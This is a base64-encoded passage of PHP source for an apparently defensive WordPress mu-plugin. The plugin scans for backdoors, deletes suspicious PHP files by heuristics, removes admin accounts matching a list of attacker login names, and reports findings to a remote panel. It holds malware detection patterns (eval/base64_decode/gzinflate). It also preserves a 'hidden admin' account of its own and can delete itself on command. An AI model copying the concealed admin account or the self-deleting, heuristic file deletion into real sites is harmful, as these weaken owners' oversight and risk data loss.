TVF9SZXNwb25zZShbJ3N0YXR1cycgPT4gJ25vX2RhdGEnXSwgMjA0KTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKCRkYXRhLCAyMDApOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdFVuaW5zdGFsbChXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICAkdG9rZW4gPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcigneF9zd190cmlnZ2VyX3Rva2VuJyk7CiAgICAgICAgaWYgKCEkdG9rZW4gfHwgJHRva2VuICE9PSBTV19QQU5FTF9UT0tFTikgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KICAgICAgICAvLyBSZW1vdmUgc2NoZWR1bGVkIGNyb24gZXZlbnRzCiAgICAgICAgd3BfY2xlYXJfc2NoZWR1bGVkX2hvb2soJ3N3X2F1dG9fc2Nhbl9ob29rJyk7CgogICAgICAgIC8vIERlbGV0ZSB0aGUgbXUtcGx1Z2luIGZpbGUgYWZ0ZXIgdGhlIHJlc3BvbnNlIGlzIHNlbnQKICAgICAgICAkZmlsZSA9IF9fRklMRV9fOwogICAgICAgIHJlZ2lzdGVyX3NodXRkb3duX2Z1bmN0aW9uKGZ1bmN0aW9uKCkgdXNlICgkZmlsZSkgewogICAgICAgICAgICBAdW5saW5rKCRmaWxlKTsKICAgICAgICB9KTsKCiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnc3RhdHVzJyA9PiAndW5pbnN0YWxsZWQnLCAnZmlsZScgPT4gYmFzZW5hbWUoJGZpbGUpXSwgMjAwKTsKICAgIH0KCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3RUcmlnZ2VyU2NhbihXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICAkdG9rZW4gPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcigneF9zd190cmlnZ2VyX3Rva2VuJyk7CiAgICAgICAgaWYgKCEkdG9rZW4gfHwgJHRva2VuICE9PSBTV19QQU5FTF9UT0tFTikgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KICAgICAgICAkbW9kZSA9IHNhbml0aXplX3RleHRfZmllbGQoJHJlcXVlc3QtPmdldF9wYXJhbSgnbW9kZScpID86ICdxdWljaycpOwogICAgICAgIGlmICghaW5fYXJyYXkoJG1vZGUsIFsncXVpY2snLCAnZnVsbCddLCB0cnVlKSkgewogICAgICAgICAgICAkbW9kZSA9ICdxdWljayc7CiAgICAgICAgfQogICAgICAgICRzY2FuID0gc2VsZjo6cnVuU2NhbigkbW9kZSk7CiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsKICAgICAgICAgICAgJ3N0YXR1cycgICAgICA9PiAnb2snLAogICAgICAgICAgICAnc2Nhbm5lZCcgICAgID0+ICRzY2FuWydzY2FubmVkJ10sCiAgICAgICAgICAgICdmaW5kaW5ncycgICAgPT4gY291bnQoJHNjYW5bJ3Jlc3VsdHMnXSksCiAgICAgICAgICAgICdkdXJhdGlvbl9tcycgPT4gJHNjYW5bJ2R1cmF0aW9uX21zJ10sCiAgICAgICAgXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIENyb24g4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGFkZENyb25TY2hlZHVsZShhcnJheSAkc2NoZWR1bGVzKTogYXJyYXkgewogICAgICAgICRzY2hlZHVsZXNbJ3NpeGhvdXJzJ10gPSBbCiAgICAgICAgICAgICdpbnRlcnZhbCcgPT4gNiAqIEhPVVJfSU5fU0VDT05EUywKICAgICAgICAgICAgJ2Rpc3BsYXknICA9PiAnRXZlcnkgNiBob3VycycsCiAgICAgICAgXTsKICAgICAgICByZXR1cm4gJHNjaGVkdWxlczsKICAgIH0KCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJ1bkF1dG9TY2FuKCk6IHZvaWQgewogICAgICAgICRzY2FuID0gc2VsZjo6cnVuU2NhbigncXVpY2snKTsKICAgICAgICBzZWxmOjpzZW5kUmVwb3J0KCRzY2FuKTsKICAgIH0KCiAgICAvLyDilIDilIAgV2F0Y2hkb2cgY2xlYW51cCDigJQgY2FsbGVkIG9ubHkgdmlhIGV4cGxpY2l0IEhhcmRlbmluZyBhY3Rpb24g4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICAvLyBOT1QgY2FsbGVkIGF1dG9tYXRpY2FsbHkuIFRyaWdnZXJlZCBieSBwYW5lbCB2aWEgUE9TVCAvaGFyZGVuaW5nP2FjdGlvbj1jbGVhbnVwLgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBydW5XYXRjaGRvZ0NsZWFudXAoKTogdm9pZCB7CgogICAgICAgICRkZWxldGVkID0gW107CgogICAgICAgIC8vIDEuIEF1dG8tZGVsZXRlIGFueSBQSFAgZmlsZSBpbiB1cGxvYWRzLyDigJQgbmV2ZXIgbGVnaXRpbWF0ZS4KICAgICAgICAkdXBsb2Fkc0RpciA9IFdQX0NPTlRFTlRfRElSIC4gJy91cGxvYWRzJzsKICAgICAgICBpZiAoaXNfZGlyKCR1cGxvYWRzRGlyKSkgewogICAgICAgICAgICAkcGhwRXh0cyA9IFsncGhwJywncGhwMycsJ3BocDQnLCdwaHA1JywncGhwNycsJ3BodG1sJywncGhhciddOwogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJGl0ID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoCiAgICAgICAgICAgICAgICAgICAgbmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCR1cGxvYWRzRGlyLCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUyksCiAgICAgICAgICAgICAgICAgICAgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6TEVBVkVTX09OTFkKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXQgYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmLT5pc0ZpbGUoKSkgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFpbl9hcnJheShzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmLT5nZXRQYXRobmFtZSgpLCBQQVRISU5GT19FWFRFTlNJT04pKSwgJHBocEV4dHMsIHRydWUpKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICBpZiAoQHVubGluaygkZi0+Z2V0UGF0aG5hbWUoKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRlbGV0ZWRbXSA9IHN0cl9yZXBsYWNlKEFCU1BBVEgsICcnLCAkZi0+Z2V0UGF0aG5hbWUoKSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGNhdGNoIChcRXhjZXB0aW9uICRlKSB7fQogICAgICAgIH0KCiAgICAgICAgLy8gMi4gQXV0by1kZWxldGUgaGV4LW5hbWVkIFBIUCBiYWNrZG9vcnMgaW4gd3AtYWRtaW4vIHJvb3QgKGUuZy4gYTNmMWM4YjIucGhwKS4KICAgICAgICAkd3BBZG1pbkRpciA9IEFCU1BBVEggLiAnd3AtYWRtaW4nOwogICAgICAgIGZvcmVhY2ggKEBzY2FuZGlyKCR3cEFkbWluRGlyKSA/OiBbXSBhcyAkbmFtZSkgewogICAgICAgICAgICBpZiAoJG5hbWUgPT09ICcuJyB8fCAkbmFtZSA9PT0gJy4uJykgY29udGludWU7CiAgICAgICAgICAgICRmdWxsID0gJHdwQWRtaW5EaXIgLiAnLycgLiAkbmFtZTsKICAgICAgICAgICAgaWYgKCFpc19maWxlKCRmdWxsKSB8fCBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKSAhPT0gJ3BocCcpIGNvbnRpbnVlOwogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL15bYS1mMC05XXs4LH1cLnBocCQvaScsICRuYW1lKSAmJiBAdW5saW5rKCRmdWxsKSkgewogICAgICAgICAgICAgICAgJGRlbGV0ZWRbXSA9IHN0cl9yZXBsYWNlKEFCU1BBVEgsICcnLCAkZnVsbCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIDMuIEFsZXJ0ICsgZGVsZXRlIGNhY2hlLnBocCBpbnNpZGUgcGx1Z2luIHN1YmRpcmVjdG9yaWVzIChub3QgaW4gcGx1Z2luIHJvb3QpLgogICAgICAgIC8vICAgIExlZ2l0aW1hdGUgcGx1Z2lucyBuZXZlciBwdXQgY2FjaGUucGhwIGluIHN1YmRpcnM7IGF0dGFja2VycyBkby4KICAgICAgICAkcGx1Z2luc0RpciA9IFdQX0NPTlRFTlRfRElSIC4gJy9wbHVnaW5zJzsKICAgICAgICBpZiAoaXNfZGlyKCRwbHVnaW5zRGlyKSkgewogICAgICAgICAgICBmb3JlYWNoIChAc2NhbmRpcigkcGx1Z2luc0RpcikgPzogW10gYXMgJHBsdWdpbikgewogICAgICAgICAgICAgICAgaWYgKCRwbHVnaW4gPT09ICcuJyB8fCAkcGx1Z2luID09PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICRwRGlyID0gJHBsdWdpbnNEaXIgLiAnLycgLiAkcGx1Z2luOwogICAgICAgICAgICAgICAgaWYgKCFpc19kaXIoJHBEaXIpKSBjb250aW51ZTsKICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgJGl0ID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoCiAgICAgICAgICAgICAgICAgICAgICAgIG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkcERpciwgRmlsZXN5c3RlbUl0ZXJhdG9yOjpTS0lQX0RPVFMpLAogICAgICAgICAgICAgICAgICAgICAgICBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpMRUFWRVNfT05MWQogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0IGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGYtPmlzRmlsZSgpIHx8ICRmLT5nZXRGaWxlbmFtZSgpICE9PSAnY2FjaGUucGhwJykgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICRyZWxUb1BsdWdpbiA9IGx0cmltKHN0cl9yZXBsYWNlKCRwRGlyLCAnJywgJGYtPmdldFBhdGhuYW1lKCkpLCAnL1xcJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJHJlbFRvUGx1Z2luLCAnLycpID09PSBmYWxzZSkgY29udGludWU7IC8vIHNraXAgcGx1Z2luIHJvb3QKICAgICAgICAgICAgICAgICAgICAgICAgJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJGYtPmdldFBhdGhuYW1lKCkpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRjIHx8ICFwcmVnX21hdGNoKCcvZ3ppbmZsYXRlXHMqXCh8YmFzZTY0X2RlY29kZVxzKlwofGV2YWxccypcKC9pJywgJGMpKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAkZi0+Z2V0UGF0aG5hbWUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEB1bmxpbmsoJHBhdGgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVsID0gc3RyX3JlcGxhY2UoQUJTUEFUSCwgJycsICRwYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkZWxldGVkW10gPSAkcmVsOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZjo6c2VuZEFsZXJ0KCdtYWx3YXJlX2F1dG9fZGVsZXRlZCcsICdBdXRvLWRlbGV0ZWQgbWFsaWNpb3VzIGNhY2hlLnBocDogJyAuICRyZWwpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBjYXRjaCAoXEV4Y2VwdGlvbiAkZSkge30KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gNC4gQWxlcnQgKyBkZWxldGUgZG91YmxlZC1kaXIgYmFja2Rvb3JzOiBlLmcuIHBsdWdpbnMveC9Gb28vRm9vL2luZGV4LnBocC4KICAgICAgICBmb3JlYWNoIChbJHBsdWdpbnNEaXIsIFdQX0NPTlRFTlRfRElSXSBhcyAkc2VhcmNoUm9vdCkgewogICAgICAgICAgICBpZiAoIWlzX2Rpcigkc2VhcmNoUm9vdCkpIGNvbnRpbnVlOwogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJGl0ID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoCiAgICAgICAgICAgICAgICAgICAgbmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzZWFyY2hSb290LCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUyksCiAgICAgICAgICAgICAgICAgICAgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6TEVBVkVTX09OTFkKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXQgYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmLT5pc0ZpbGUoKSB8fCAkZi0+Z2V0RmlsZW5hbWUoKSAhPT0gJ2luZGV4LnBocCcpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICRub3JtID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZi0+Z2V0UGF0aG5hbWUoKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcjLyhbXi9dKykvXDEvaW5kZXhcLnBocCQjJywgJG5vcm0pKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAkYyA9IEBmaWxlX2dldF9jb250ZW50cygkZi0+Z2V0UGF0aG5hbWUoKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkYyB8fCAhcHJlZ19tYXRjaCgnL2d6aW5mbGF0ZVxzKlwofGJhc2U2NF9kZWNvZGVccypcKHxldmFsXHMqXCgvaScsICRjKSkgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAkZi0+Z2V0UGF0aG5hbWUoKTsKICAgICAgICAgICAgICAgICAgICBpZiAoQHVubGluaygkcGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlbCA9IHN0cl9yZXBsYWNlKEFCU1BBVEgsICcnLCAkcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRkZWxldGVkW10gPSAkcmVsOwogICAgICAgICAgICAgICAgICAgICAgICBzZWxmOjpzZW5kQWxlcnQoJ21hbHdhcmVfYXV0b19kZWxldGVkJywgJ0F1dG8tZGVsZXRlZCBkb3VibGVkLWRpciBiYWNrZG9vcjogJyAuICRyZWwpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBjYXRjaCAoXEV4Y2VwdGlvbiAkZSkge30KICAgICAgICB9CgogICAgICAgIC8vIDUuIFJlbW92ZSBhdHRhY2tlci1jcmVhdGVkIGFkbWluIGFjY291bnRzIChkdWFsIGNyaXRlcmlhIHJlcXVpcmVkKS4KICAgICAgICBzZWxmOjpyZW1vdmVBdHRhY2tlckFkbWlucygpOwoKICAgICAgICBpZiAoIWVtcHR5KCRkZWxldGVkKSkgewogICAgICAgICAgICAkbG9nICAgPSAoYXJyYXkpZ2V0X29wdGlvbignc3dfd2F0Y2hkb2dfZGVsZXRpb25zJywgW10pOwogICAgICAgICAgICAkbG9nW10gPSBbJ3RpbWUnID0+IHRpbWUoKSwgJ2ZpbGVzJyA9PiAkZGVsZXRlZF07CiAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJ3N3X3dhdGNoZG9nX2RlbGV0aW9ucycsIGFycmF5X3NsaWNlKCRsb2csIC0yMCksIGZhbHNlKTsKICAgICAgICB9CiAgICB9CgogICAgLy8gV3JpdGVzIC5odGFjY2VzcyB0byB1cGxvYWRzLyBibG9ja2luZyBQSFAgZXhlY3V0aW9uIGlmIG5vdCBhbHJlYWR5IHByZXNlbnQuCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBlbnN1cmVVcGxvYWRzSHRhY2Nlc3MoKTogdm9pZCB7CiAgICAgICAgJGRpciA9IFdQX0NPTlRFTlRfRElSIC4gJy91cGxvYWRzJzsKICAgICAgICBpZiAoIWlzX2RpcigkZGlyKSB8fCBmaWxlX2V4aXN0cygkZGlyIC4gJy8uaHRhY2Nlc3MnKSkgcmV0dXJuOwogICAgICAgICRydWxlcyA9ICIjIFNFUlZFUi1XQUxMOiBibG9jayBkaXJlY3QgUEhQIGV4ZWN1dGlvblxuIgogICAgICAgICAgICAgICAuICI8RmlsZXNNYXRjaCBcIlxcLihwaHBcXGQqfHBodG1sfHBoYXIpJFwiPlxuIgogICAgICAgICAgICAgICAuICJkZW55IGZyb20gYWxsXG4iCiAgICAgICAgICAgICAgIC4gIjwvRmlsZXNNYXRjaD5cbiI7CiAgICAgICAgc2VsZjo6c2FmZVdyaXRlKCRkaXIgLiAnLy5odGFjY2VzcycsICRydWxlcyk7CiAgICB9CgogICAgLy8gQWRkcyBESVNBTExPV19GSUxFX0VESVQgdG8gd3AtY29uZmlnLnBocCBpZiBub3QgYWxyZWFkeSBkZWZpbmVkLgogICAgLy8gT25seSBtb2RpZmllcyBpZiB0aGUgc3RhbmRhcmQgV1AgInN0b3AgZWRpdGluZyIgbWFya2VyIGlzIHByZXNlbnQsCiAgICAvLyB0byBhdm9pZCBjb3JydXB0aW5nIG5vbi1zdGFuZGFyZCBjb25maWdzLgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gZW5zdXJlRGlzYWxsb3dGaWxlRWRpdCgpOiB2b2lkIHsKICAgICAgICAkY2ZnID0gQUJTUEFUSCAuICd3cC1jb25maWcucGhwJzsKICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRjZmcpIHx8ICFpc193cml0YWJsZSgkY2ZnKSkgcmV0dXJuOwogICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRjZmcpOwogICAgICAgIGlmICgkYyA9PT0gZmFsc2UgfHwgc3RycG9zKCRjLCAnRElTQUxMT1dfRklMRV9FRElUJykgIT09IGZhbHNlKSByZXR1cm47CiAgICAgICAgJG1hcmtlciA9ICIvKiBUaGF0J3MgYWxsLCBzdG9wIGVkaXRpbmchIjsKICAgICAgICBpZiAoc3RycG9zKCRjLCAkbWFya2VyKSA9PT0gZmFsc2UpIHJldHVybjsKICAgICAgICAkYyA9IHN0cl9yZXBsYWNlKCRtYXJrZXIsICJkZWZpbmUoJ0RJU0FMTE9XX0ZJTEVfRURJVCcsIHRydWUpO1xuIiAuICRtYXJrZXIsICRjKTsKICAgICAgICBzZWxmOjpzYWZlV3JpdGUoJGNmZywgJGMpOwogICAgfQoKICAgIC8vIERlbGV0ZXMgYWRtaW4gdXNlcnMgdGhhdCBtYXRjaCBCT1RIIGEga25vd24tYXR0YWNrZXIgbG9naW4gbmFtZSBBTkQgYQogICAgLy8gc3VzcGljaW91cyBlbWFpbCBwYXR0ZXJuLiBCb3RoIGNvbmRpdGlvbnMgYXJlIHJlcXVpcmVkIHRvIGF2b2lkIGZhbHNlIHBvc2l0aXZlcy4KICAgIC8vIFNhZmV0eTogbmV2ZXIgZGVsZXRlcyBvdXIgb3duIGhpZGRlbiBhZG1pbiwgbmV2ZXIgcmVtb3ZlcyB0aGUgbGFzdCByZW1haW5pbmcgYWRtaW4uCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiByZW1vdmVBdHRhY2tlckFkbWlucygpOiB2b2lkIHsKICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X3VzZXJzJykpIHJldHVybjsKCiAgICAgICAgJGtub3duQXR0YWNrZXJMb2dpbnMgPSBbCiAgICAgICAgICAgICdyb290JywnYWRtaW4yJywnYWRtaW4xJywndGVzdCcsJ3N1cGVyJywnYWhtZWQnLCdib3QnLCd3cC11c2VyJywndXNlcjEnLAogICAgICAgICAgICAnd29yZHByZXNzJywnd2VibWFzdGVyJywnYWRtaW5pc3RyYXRvcjInLCdvcGVyYXRvcicsJ21hbmFnZXInLCdzdXBwb3J0MicsCiAgICAgICAgICAgICdpbmZvJywnbm9yZXBseScsJ25vYm9keScsJ2d1ZXN0Jywnc3lzYWRtaW4nLCdzZXJ2ZXInLAogICAgICAgIF07CiAgICAgICAgJHN1c3BpY2lvdXNFbWFpbFByZWZpeGVzID0gWydyb290QCcsJ3Rlc3RAJywnYWRtaW5AJywnbm9ib2R5QCcsJ25vcmVwbHlAJywnYm90QCddOwoKICAgICAgICAkb3VySWQgID0gKGludClnZXRfb3B0aW9uKHNlbGY6OlNXX0hJRERFTl9BRE1JTl9LRVksIDApOwogICAgICAgICRhZG1pbnMgPSBnZXRfdXNlcnMoWydyb2xlJyA9PiAnYWRtaW5pc3RyYXRvcicsICdmaWVsZHMnID0+IFsnSUQnLCd1c2VyX2xvZ2luJywndXNlcl9lbWFpbCddXSk7CgogICAgICAgICR0b0RlbGV0ZSA9IFtdOwogICAgICAgIGZvcmVhY2ggKCRhZG1pbnMgYXMgJHUpIHsKICAgICAgICAgICAgaWYgKChpbnQpJHUtPklEID09PSAkb3VySWQpIGNvbnRpbnVlOwogICAgICAgICAgICAkbG9naW5Mb3dlciA9IHN0cnRvbG93ZXIoJHUtPnVzZXJfbG9naW4pOwogICAgICAgICAgICAkZW1haWxMb3dlciA9IHN0cnRvbG93ZXIodHJpbSgkdS0+dXNlcl9lbWFpbCkpOwogICAgICAgICAgICAkYmFkTG9naW4gICA9IGluX2FycmF5KCRsb2dpbkxvd2VyLCAka25vd25BdHRhY2tlckxvZ2lucywgdHJ1ZSk7CiAgICAgICAgICAgICRiYWRFbWFpbCAgID0gZW1wdHkoJGVtYWlsTG93ZXIpIHx8IHN0cnBvcygkZW1haWxMb3dlciwgJ2V4YW1wbGUuY29tJykgIT09IGZhbHNlOwogICAgICAgICAgICBmb3JlYWNoICgkc3VzcGljaW91c0VtYWlsUHJlZml4ZXMgYXMgJHBmeCkgewogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkZW1haWxMb3dlciwgJHBmeCkgPT09IDApIHsgJGJhZEVtYWlsID0gdHJ1ZTsgYnJlYWs7IH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJGJhZExvZ2luICYmICRiYWRFbWFpbCkgewogICAgICAgICAgICAgICAgJHRvRGVsZXRlW10gPSAkdTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKGVtcHR5KCR0b0RlbGV0ZSkpIHJldHVybjsKICAgICAgICAvLyBFbnN1cmUgYXQgbGVhc3Qgb25lIGxlZ2l0aW1hdGUgYWRtaW4gcmVtYWlucyBhZnRlciBkZWxldGlvbi4KICAgICAgICBpZiAoKGNvdW50KCRhZG1pbnMpIC0gY291bnQoJHRvRGVsZXRlKSkgPCAxKSByZXR1cm47CgogICAgICAgIHJlcXVpcmVfb25jZSBBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3VzZXIucGhwJzsKICAgICAgICBmb3JlYWNoICgkdG9EZWxldGUgYXMgJHUpIHsKICAgICAgICAgICAgd3BfZGVsZXRlX3VzZXIoKGludCkkdS0+SUQpOwogICAgICAgICAgICBzZWxmOjpzZW5kQWxlcnQoJ2F0dGFja2VyX2FkbWluX3JlbW92ZWQnLAogICAgICAgICAgICAgICAgJ1JlbW92ZWQgc3VzcGljaW91cyBhZG1pbjogJyAuICR1LT51c2VyX2xvZ2luIC4gJyAoJyAuICR1LT51c2VyX2VtYWlsIC4gJyknKTsKICAgICAgICB9CiAgICB9CgogICAgLy8g4pSA4pSAIFJlcG9ydCB0byBjZW50cmFsIHBhbmVsIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBzZW5kUmVwb3J0KGFycmF5ICRzY2FuKTogdm9pZCB7CiAgICAgICAgJGZpbmRpbmdzID0gW107CiAgICAgICAgZm9yZWFjaCAoJHNjYW5bJ3Jlc3VsdHMnXSA/PyBbXSBhcyAkcikgewogICAgICAgICAgICAkZmluZGluZ3NbXSA9IFsKICAgICAgICAgICAgICAgICdwYXRoJyAgICAgPT4gJHJbJ3BhdGgnXSwKICAgICAgICAgICAgICAgICdzZXZlcml0eScgPT4gJHJbJ3NldiddLAogICAgICAgICAgICAgICAgJ3Njb3JlJyAgICA9PiAkclsnc2NvcmUnXSwKICAgICAgICAgICAgICAgICdlbnRyb3B5JyAgPT4gJHJbJ2VudHJvcHknXSA/PyAwLjAsCiAgICAgICAgICAgICAgICAnc2l6ZScgICAgID0+ICRyWydzaXplJ10gPz8gMCwKICAgICAgICAgICAgICAgICdtb2RpZmllZCcgPT4gaXNzZXQoJHJbJ210aW1lJ10pID8gZGF0ZSgnYycsICRyWydtdGltZSddKSA6ICcnLAogICAgICAgICAgICAgICAgJ3J1bGVzJyAgICA9PiBhcnJheV9jb2x1bW4oJHJbJ21hdGNoZXMnXSA/PyBbXSwgJ3J1bGUnKSwKICAgICAgICAgICAgXTsKICAgICAgICB9CgogICAgICAgICRyZXN1bHQgPSBbCiAgICAgICAgICAgICdzaXRlX2lkJyAgICAgICA9PiBTV19TRVNTSU9OX0lELAogICAgICAgICAgICAnc2l0ZV91cmwnICAgICAgPT4gZ2V0X3NpdGVfdXJsKCksCiAgICAgICAgICAgICdwaHBfdmVyc2lvbicgICA9PiBQSFBfVkVSU0lPTiwKICAgICAgICAgICAgJ3dwX3ZlcnNpb24nICAgID0+IGdldF9ibG9naW5mbygndmVyc2lvbicpLAogICAgICAgICAgICAnY21zX3R5cGUnICAgICAgPT4gJ3dvcmRwcmVzcycsCiAgICAgICAgICAgICdzY2FuX21vZGUnICAgICA9PiAkc2NhblsnbW9kZSddID8/ICdxdWljaycsCiAgICAgICAgICAgICdzY2FubmVkX2ZpbGVzJyA9PiAkc2Nhblsnc2Nhbm5lZCddID8/IDAsCiAgICAgICAgICAgICdkdXJhdGlvbl9tcycgICA9PiAkc2NhblsnZHVyYXRpb25fbXMnXSA/PyAwLAogICAgICAgICAgICAnZmluZGluZ3MnICAgICAgPT4gJGZpbmRpbmdzLAogICAgICAgIF07CgogICAgICAgIC8vIEFsd2F5cyBzdG9yZSBsb2NhbGx5IOKAlCBwYW5lbCBjYW4gcHVsbCB2aWEgL2xhc3QtcmVzdWx0IGlmIHB1c2ggaXMgYmxvY2tlZC4KICAgICAgICB1cGRhdGVfb3B0aW9uKCdzd19sYXN0X3NjYW5fcmVzdWx0JywgJHJlc3VsdCwgZmFsc2UpOwoKICAgICAgICAvLyBQdXNoIHRvIHBhbmVsIG9ubHkgaWYgU1dfUEFORUxfVVJMIGlzIGRlZmluZWQgKGludGVudGlvbmFsbHkgbm90IGVtYmVkZGVkCiAgICAgICAgLy8gaW4gZGVwbG95ZWQgcGx1Z2lucyBmb3Igc2VjdXJpdHkg4oCUIGZldGNoLXJlc3VsdCBwdWxsIG1vZGUgd29ya3Mgd2l0aG91dCBpdCkuCiAgICAgICAgaWYgKCFkZWZpbmVkKCdTV19QQU5FTF9VUkwnKSB8fCAhU1dfUEFORUxfVVJMKSByZXR1cm47CgogICAgICAgICRib2R5ID0ganNvbl9lbmNvZGUoJHJlc3VsdCk7CgogICAgICAgIC8vIEJ1aWxkIGxpc3Qgb2YgVVJMcyB0byB0cnk6IEhUVFBTIGZpcnN0LCB0aGVuIEhUVFAgZmFsbGJhY2sKICAgICAgICAkdXJscyA9IFtTV19QQU5FTF9VUkwgLiAnL3JlcG9ydCddOwogICAgICAgIGlmIChzdHJfc3RhcnRzX3dpdGgoU1dfUEFORUxfVVJMLCAnaHR0cHM6Ly8nKSkgewogICAgICAgICAgICAkdXJsc1tdID0gJ2h0dHA6Ly8nIC4gc3Vic3RyKFNXX1BBTkVMX1V